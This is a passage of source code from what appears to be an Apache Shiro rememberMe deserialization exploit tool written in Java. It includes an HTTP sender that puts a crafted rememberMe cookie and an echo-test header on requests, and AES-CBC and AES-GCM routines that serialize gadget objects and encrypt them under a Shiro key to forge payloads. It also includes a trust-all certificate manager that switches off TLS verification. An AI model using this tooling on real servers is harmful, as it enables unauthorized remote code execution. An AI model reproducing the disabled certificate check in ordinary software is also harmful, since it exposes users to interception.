char[] buffer = new char[BUFFER_SIZE]; // or some other size, 82 | // int charsRead = 0; 83 | // while ( (charsRead = in.read(buffer, 0, BUFFER_SIZE)) != -1) { 84 | // sb.append(buffer, 0, charsRead); 85 | // } 86 | // result = new String(buffer); 87 | } catch (Exception e) { 88 | System.out.println("发送GET请求出现异常!" + e); 89 | e.printStackTrace(); 90 | } 91 | // 使用finally块来关闭输入流 92 | finally { 93 | try { 94 | if (in != null) { 95 | in.close(); 96 | } 97 | } catch (Exception e2) { 98 | e2.printStackTrace(); 99 | } 100 | } 101 | return result; 102 | } 103 | // Java get 发包,返回值为Header内容 104 | public static String getHeader(String url, String rememberMe) { 105 | String result = ""; 106 | BufferedReader in = null; 107 | 108 | URLConnection httpUrlConn = null; 109 | HttpsURLConnection hsc = null; 110 | HttpURLConnection hc = null; 111 | InputStream inputStream = null; 112 | InputStreamReader isr = null; 113 | Object br = null; 114 | try { 115 | URL realUrl = new URL(url); 116 | if (url.startsWith("https")) { 117 | SSLContext sslContext = SSLContext.getInstance("SSL"); 118 | TrustManager[] tm = new TrustManager[]{new MyCert()}; 119 | sslContext.init(null, tm, new SecureRandom()); 120 | SSLSocketFactory ssf = sslContext.getSocketFactory(); 121 | hsc = (HttpsURLConnection)realUrl.openConnection(); 122 | 123 | hsc.setSSLSocketFactory(ssf); 124 | hsc.setHostnameVerifier(allHostsValid); 125 | httpUrlConn = hsc; 126 | }else { 127 | hc = (HttpURLConnection)realUrl.openConnection(); 128 | hc.setRequestMethod("GET"); 129 | hc.setInstanceFollowRedirects(false); 130 | System.out.println(hc.getRequestProperties()); 131 | httpUrlConn = hc; 132 | } 133 | // 打开和URL之间的连接 134 | URLConnection connection = realUrl.openConnection(); 135 | // 设置通用的请求属性 136 | httpUrlConn.setRequestProperty("accept", "*/*"); 137 | httpUrlConn.setRequestProperty("connection", "Keep-Alive"); 138 | httpUrlConn.setRequestProperty("user-agent", 139 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); 140 | httpUrlConn.setRequestProperty("Cookie","rememberMe="+rememberMe); 141 | httpUrlConn.setRequestProperty("Testecho","23f20bfc119b58355179e1f33722f14c"); 142 | // 建立实际的连接 143 | httpUrlConn.connect(); 144 | // 获取所有响应头字段 145 | Map> map = httpUrlConn.getHeaderFields(); 146 | // 遍历所有的响应头字段 147 | String line; 148 | for (String key : map.keySet()) { 149 | result += key + "--->" + map.get(key); 150 | } 151 | return result; 152 | } catch (Exception e) { 153 | System.out.println("发送GET请求出现异常!" + e); 154 | e.printStackTrace(); 155 | } 156 | // 使用finally块来关闭输入流 157 | finally { 158 | try { 159 | if (in != null) { 160 | in.close(); 161 | } 162 | } catch (Exception e2) { 163 | e2.printStackTrace(); 164 | } 165 | } 166 | return result; 167 | } 168 | } 169 | -------------------------------------------------------------------------------- /src/main/java/utils/MyCert.java: -------------------------------------------------------------------------------- 1 | package utils; 2 | 3 | 4 | import java.security.cert.CertificateException; 5 | import java.security.cert.X509Certificate; 6 | import javax.net.ssl.X509TrustManager; 7 | 8 | public class MyCert implements X509TrustManager { 9 | public MyCert() { 10 | } 11 | 12 | public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { 13 | } 14 | 15 | public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { 16 | } 17 | 18 | public X509Certificate[] getAcceptedIssuers() { 19 | return null; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/main/java/utils/createAESCBCCipher.java: -------------------------------------------------------------------------------- 1 | package utils; 2 | 3 | import gadgets.util.Serializer; 4 | import org.apache.shiro.codec.Base64; 5 | 6 | import javax.crypto.Cipher; 7 | import javax.crypto.spec.IvParameterSpec; 8 | import javax.crypto.spec.SecretKeySpec; 9 | import java.security.SecureRandom; 10 | 11 | public class createAESCBCCipher { 12 | //实现AES中的CBC加密 13 | public static String encrypt(String Shirokey,Object object) throws Exception { 14 | byte[] payloads = Serializer.serialize(object); 15 | byte[] key = java.util.Base64.getDecoder().decode(Shirokey); 16 | 17 | // byte[] raw = sKey.getBytes("utf-8"); 18 | int ivSize = 16; 19 | byte[] iv = new byte[ivSize]; 20 | SecureRandom random = new SecureRandom(); 21 | random.nextBytes(iv); 22 | IvParameterSpec ivParameterSpec = new IvParameterSpec(iv); 23 | SecretKeySpec secretKeySpec = new SecretKeySpec(key, "AES"); 24 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 25 | cipher.init(1, secretKeySpec, ivParameterSpec); 26 | byte[] encrypted = cipher.doFinal(payloads); 27 | byte[] encryptedIvandtext = new byte[ivSize + encrypted.length]; 28 | System.arraycopy(iv, 0, encryptedIvandtext, 0, ivSize); 29 | System.arraycopy(encrypted, 0, encryptedIvandtext, ivSize, encrypted.length); 30 | // return new BASE64Encoder().encode(encrypted);//此处使用BASE64做转码功能,同时能起到2次加密的作用。 31 | String b64Payload = Base64.encodeToString(encryptedIvandtext); 32 | 33 | 34 | // System.out.println(b64Payload); 35 | return b64Payload; 36 | } 37 | 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/utils/createAESGCMCipher.java: -------------------------------------------------------------------------------- 1 | package utils; 2 | 3 | import gadgets.util.Serializer; 4 | import org.apache.shiro.codec.Base64; 5 | 6 | import javax.crypto.Cipher; 7 | import javax.crypto.spec.GCMParameterSpec; 8 | import javax.crypto.spec.IvParameterSpec; 9 | import javax.crypto.spec.SecretKeySpec; 10 | import java.security.SecureRandom; 11 | 12 | public class createAESGCMCipher { 13 | //实现AES中的GCM加密 shiro1.4.2版本更换为了AES-GCM加密方式 14 | public static String encrypt(String Shirokey,Object object) throws Exception { 15 | byte[] payloads = Serializer.serialize(object); 16 | byte[] key = java.util.Base64.getDecoder().decode(Shirokey); 17 | 18 | 19 | 20 | int ivSize = 16; 21 | byte[] iv = new byte[ivSize]; 22 | SecureRandom random = new SecureRandom(); 23 | random.nextBytes(iv); 24 | GCMParameterSpec ivParameterSpec = new GCMParameterSpec(128,iv); 25 | SecretKeySpec secretKeySpec = new SecretKeySpec(key, "AES"); 26 | Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); 27 | cipher.init(1, secretKeySpec, ivParameterSpec); 28 | byte[] encrypted = cipher.doFinal(payloads); 29 | byte[] encryptedIvandtext = new byte[ivSize + encrypted.length]; 30 | System.arraycopy(iv, 0, encryptedIvandtext, 0, ivSize); 31 | System.arraycopy(encrypted, 0, encryptedIvandtext, ivSize, encrypted.length); 32 | // return new BASE64Encoder().encode(encrypted);//此处使用BASE64做转码功能,同时能起到2次加密的作用。 33 | String b64Payload = Base64.encodeToString(encryptedIvandtext); 34 | 35 | 36 | // System.out.println(b64Payload); 37 | return b64Payload; 38 | } 39 | 40 | } 41 | -------------------------------------------------------------------------------- /src/main/resources/Main.fxml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 |